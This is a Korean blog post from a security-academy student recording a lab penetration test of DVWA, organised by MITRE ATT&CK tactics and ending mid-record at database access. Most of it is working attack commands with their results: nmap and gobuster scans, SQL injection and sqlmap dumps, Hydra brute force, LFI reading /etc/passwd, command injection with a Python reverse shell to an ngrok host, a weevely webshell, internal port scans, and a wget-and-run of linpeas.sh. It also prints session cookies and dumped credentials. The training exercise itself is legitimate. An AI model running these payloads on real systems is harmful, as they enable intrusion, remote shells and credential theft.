본문 바로가기
  • 이게 왜 되지...?
시큐리티아카데미 7기 - sk쉴더스트랙/프로젝트

[시큐리티 아카데미 7기 - sk쉴더스 트랙] 프로젝트 10일차 - 2026.04.22

by smisooth 2026. 4. 24.

 
걸스끼리 모둠곱창이랑 곱창 전골 조졌습니다.
다들 맛있는 거 먹으면서 몸조리 잘 하세용
 

 
 
 

4.1 외부 정찰 (Reconnaissance)

MITRE TacticTA0043 – Reconnaissance
목표공격 대상 서비스 식별 및 취약 진입점 파악
활용 도구nmap, nikto, whatweb, gobuster

 

수행 내용

▪      Nmap을 이용한 인증 기반 스크립트 스캔
–   nmap -Pn -p 8081 --script http-enum \--script-args "http-enum.basepath=/DVWA/,http.cookie='security=low; PHPSESSID=세션ID_입력'" \[WEB_SERVER_IP]
▪      nikto를 통한 웹 서버 취약점 자동 스캔
–   보안 헤더 미설정(X-Frame-Options, CSP 등) 확인
▪      gobuster로 DVWA 디렉터리 구조 열거
–   세션 값이 필요하므로 -c 옵션 사용
–   예상 노출 경로: /dvwa/, /setup.php, /phpinfo.php
▪      whatweb을 통한 기술 스택 식별 (Apache 버전, PHP 버전)
 

수행 결과 기록

수행 항목 수행 결과 기록 (직접 입력)
nmap 스캔 결과
1. nmap -Pn -p 8081 --script http-enum \
--script-args "http-enum.basepath=/DVWA/,http.cookie='security=low; PHPSESSID=b6qsm5f1vsmnldnttl3h718jpk; expires=Wed, 22-Apr-2026 11:33:27 GMT; Max-Age=86400; path=/; domain=220.88.200.203'" 

 
2. curl -v -b "security=low; PHPSESSID=b6qsm5f1vsmnldnttl3h718jpk; expires=Wed, 22-Apr-2026 11:33:27 GMT; Max-Age=86400; path=/; domain=220.88.200.203" http://220.88.200.203:8081/DVWA/
- 서버가 보내는 리다이렉션 위치 확인
 
nikto 주요 발견 사항
주요 디렉토리 및 파일 노출
- /DVWA/config/
- /DVWA/database/:
-.git/ 관련 파일(.git/index, HEAD, config) 노출
- Directory Indexing : 여러 경로에서 파일 목록이 브라우저에 그대로 표시됨

 
2. 보안 헤더 미설정 (Missing Security Headers)
- X-Frame-Options 미설정 / Deprecated

- X-Content-Type-Options 미설정

- Content-Security-Policy (CSP) 부재

- Strict-Transport-Security (HSTS) 미설정

 
3. 서버 소프트웨어 취약점
Apache/2.4.52 (Outdated)
 
gobuster 발견 디렉터리
1. Status: 200
- .git/HEAD
- setup.php
- php.ini
- robots.txt
- security.txt
- about.php / instructions.php
- login.php
 
2. Status: 403 Forbidden(접근 권한이 제한된 파일)
- .htaccess / .htpasswd
- .hta
 
3. Status: 301(리다이렉션 디렉터리)
- /config/
- /database/
- /docs/
- /external/
- /tests/
 
4. Status: 302(세션 체크 후 리다이렉션)
- phpinfo.php
- index.php
- security.php

 

4.2 초기 침투 (Initial Access)

MITRE TacticTA0001 – Initial Access
목표웹 애플리케이션 인증 우회 및 내부 접근 권한 확보
활용 취약점SQL Injection, Brute Force, File Inclusion (LFI)
활용 도구sqlmap, Hydra, Burp Suite Intruder

 

공격 벡터 1 — SQL Injection (인증 우회)

▪      DVWA 로그인 폼 username 필드 SQL 구문 삽입
–   페이로드: ' OR '1'='1' --   (Boolean-based 인증 우회)
▪      sqlmap 자동화 DB 덤프
–   명령: sqlmap -u "http://220.88.200.203:8081/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" \--cookie="security=low; PHPSESSID=b6qsm5f1vsmnldnttl3h718jpk" \--dbs --batch
–   추출 대상: dvwa.users 테이블 (username, password MD5)

공격 벡터 2 — Brute Force

▪      Hydra HTTP POST 폼 대상 사전 공격
–   명령: hydra -l admin -P /usr/share/wordlists/rockyou.txt [IP주소] http-post-form "/DVWA/login.php:username=^USER^&password=^PASS^&Login=Login:S=Location\: index.php"
▪      기본 계정 admin:password 획득 시나리오
 

공격 벡터 3 — LFI (Local File Inclusion)

▪      DVWA File Inclusion 모듈 page 파라미터 경로 조작
–   페이로드: vulnerabilities/fi/?page=../../../../../../../../etc/passwd

수행 결과 기록

수행 항목 수행 결과 기록 (직접 입력)
SQLi — 인증 우회 성공 여부 및 획득 데이터
Admin 우회 성공, user 테이블 덤프
- admin : password
- gordonb : abc123
- 1337 : charley
- pablo : letmein
- smithy : password
LFI 결과 (노출된 파일 내용 요약)
/etc/passwd 6개 계정 확인 (root, kali, www-data, mysql, beef-xss, postgres)

 

4.3 명령 실행 (Execution)

MITRE TacticTA0002 – Execution
목표웹 서버에서 OS 명령어 실행 및 웹쉘 배포
활용 취약점Command Injection, File Upload
활용 도구weevely, msfvenom, Burp Suite

 

공격 벡터 1 — Command Injection

▪      DVWA Command Injection 모듈 IP 입력 필드 OS 명령 삽입
–   페이로드: 127.0.0.1; id; whoami; cat /etc/passwd
–   명령 체이닝 연산자: ;  &&  |  ||
▪      Reverse Shell 페이로드 삽입
–   127.0.0.1; python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.tcp.jp.ngrok.io",19115));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
–   ngrok에서 받은 주소로 넣어야 함
–    
▪      공격자 측 리스너: nc -lvnp 4444
 

공격 벡터 2 — File Upload (웹쉘 업로드)

▪      MIME 타입·확장자 검증 우회
–   파일명: shell.php.jpg  /  Content-Type: image/jpeg 위장
▪      weevely 웹쉘 생성 및 업로드
–   생성: weevely generate [password] shell.php
–   업로드 후 접근: /dvwa/hackable/uploads/shell.php
–   연결: weevely http://[IP]/dvwa/hackable/uploads/shell.php [password]
 

수행 결과 기록

수행 항목 수행 결과 기록 (직접 입력)
Command Injection 실행된 명령 및 결과
1. uid=33(www-data) gid=33(www-data) groups=33(www-data)
 
2. cat /etc/passwd
- root:x:0:0:root:/root:/usr/bin/zsh
- www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
- postgres:x:115:118:PostgreSQL administrator:/var/lib/postgresql:/bin/bash
- kali:x:1000:1000::/home/kali:/usr/bin/zsh
- beef-xss:x:120:125::/var/lib/beef-xss:/usr/sbin/nologin
등등
Reverse Shell 획득 여부 및 세션 정보
4444포트 연결 성공, www-data 권한 쉘 획득

웹쉘 업로드 업로드 경로 및 실행 확인
../../hackable/uploads/shell.php 접근 성공
웹쉘 연결 성공
 

 

4.4 내부 네트워크 탐색 (Discovery)

MITRE TacticTA0007 – Discovery
목표DMZ 및 LAN 세그먼트 호스트·서비스 파악
거점웹쉘 또는 Reverse Shell을 통해 웹 서버에서 수행
활용 도구nmap, arp-scan, netstat, /proc/net/arp

 

수행 내용

▪      ARP 캐시 및 /proc/net/arp — DMZ·LAN 인접 호스트 탐색
▪      웹 서버를 피벗 거점으로 내부 포트 스캔
for i in $(seq 1 254); do ping -c 1 -W 1 192.168.1.$i | grep "from" & done
–   DMZ 내 DB 서버: 3306(MySQL), 22(SSH) 확인
     python3 -c 'import socket; p=[22, 3306]; [print(f"{port} open") for port in p if socket.socket().connect_ex(("192.168.1.10", port)) == 0]'
–   LAN 내 Wazuh SIEM: 22, 1514(에이전트), 5601(Kibana), 55000(Wazuh API)
python3 -c 'import socket; ip="192.168.1.101"; ports=[22, 80, 443, 1514, 1515, 55000]; [print(f"Wazuh Port {p} OPEN") for p in ports if socket.socket(socket.AF_INET, socket.SOCK_STREAM).connect_ex((ip, p)) == 0]'
▪      netstat -antp — 현재 연결 및 리스닝 포트 확인
▪      환경 변수·설정 파일 수집: /var/www/html/dvwa/config/config.inc.php
 

수행 결과 기록

수행 항목 수행 결과 기록 (직접 입력)
발견된 내부 호스트 목록 (IP, 역할 추정)
192.168.1.1 — Gateway (라우터/방화벽), ens34
192.168.1.101 — Target Host (분석 대상), ens34
192.168.1.103 — Active Host, ens34
192.168.1.105 — Active Host, ens34
192.168.1.106 — Active Host, ens34
192.168.1.107 — Active Host, ens34
192.168.1.109 — Active Host, ens34
192.168.1.110 — Active Host, ens34
192.168.1.112 — Current Compromised Host
DB 서버 포트 스캔 결과
DB : 3306,22 open

Wazuh/SOAR 서버 포트 스캔 결과
Wazuh : 22, 443 open

config.inc.php 노출 자격증명
config.inc.php 노출 자격증명
DB_HOST: 127.0.0.1 (포트: 3306)
DB_USER: dvwa
DB_PASS: dvwa123
DB_NAME: dvwa

 

4.5 횡적 이동 (Lateral Movement)

MITRE TacticTA0008 – Lateral Movement
목표DB 서버, Wazuh SIEM, SOAR 서버 접근
방법자격증명 재사용, SSH 직접 접근, Wazuh API 접근

 

공격 벡터 1 — DB 서버 접근

▪      config.php에서 획득한 DB 자격증명으로 MySQL 직접 접속
–   mysql -u dvwa -pdvwa123 -h 127.0.0.1 dvwa
▪      전체 테이블 덤프: SELECT * FROM users; DUMP FILE 등
 

공격 벡터 2 — 권한 상승

–   cd /tmp && wget https://postage-askew-apostle.ngrok-free.dev/linpeas.sh --no-check-certificate && chmod +x linpeas.sh && ./linpeas.sh
 

공격 벡터 3 — Wazuh API 무단 접근

▪      Wazuh API(55000/tcp) 기본 자격증명(wazuh:wazuh) 시도
–   curl -k -u wazuh:wazuh https://[WAZUH_IP]:55000/
▪      API를 통한 에이전트 목록, 활성 룰셋, 로그 정보 수집
▪      SOAR 서버 웹 인터페이스(API) 기본 자격증명 접근 시도
 

수행 결과 기록

수행 항목 수행 결과 기록 (직접 입력)
DB 서버 접근 성공 여부 및 획득 데이터
MySQL 접속 성공